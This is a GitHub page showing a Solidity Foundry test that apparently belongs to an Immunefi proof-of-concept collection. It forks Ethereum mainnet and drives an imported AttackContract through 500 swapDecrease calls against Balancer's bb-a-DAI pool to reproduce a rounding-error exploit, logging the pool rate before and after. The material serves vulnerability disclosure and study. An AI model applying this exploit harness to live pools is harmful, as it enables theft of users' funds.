-
Notifications
You must be signed in to change notification settings - Fork 16
/
BalancerPoC.sol
37 lines (29 loc) · 1.24 KB
/
BalancerPoC.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@immunefi/PoC.sol";
import "../../../src/Balancer/rounding-error-aug2023/AttackContract.sol";
contract BalancerPoCTest is PoC {
AttackContract public attackContract;
IERC20[] tokens;
address bbaDAI = 0xfa24A90A3F2bBE5FEEA92B95cD0d14Ce709649f9;
function setUp() public {
// Fork from specified block chain at block
vm.createSelectFork("https://rpc.ankr.com/eth", 17893427);
// Deploy attack contract
attackContract = new AttackContract();
// Tokens to track during snapshotting
// e.g. tokens.push(EthereumTokens.USDC);
tokens.push(IERC20(bbaDAI));
tokens.push(EthereumTokens.DAI);
setAlias(address(attackContract), "Attacker");
console.log("\n>>> Initial conditions");
}
function testPoolWithNoWrappedToken() public snapshot(address(attackContract), tokens) {
// no initial funds required
console.log("Balancer aDAI rate before:", ComposableStablePool(bbaDAI).getRate());
for (int256 i = 0; i < 500; i++) {
attackContract.swapDecrease(bbaDAI);
}
console.log("Balancer aDAI rate after: ", ComposableStablePool(bbaDAI).getRate());
}
}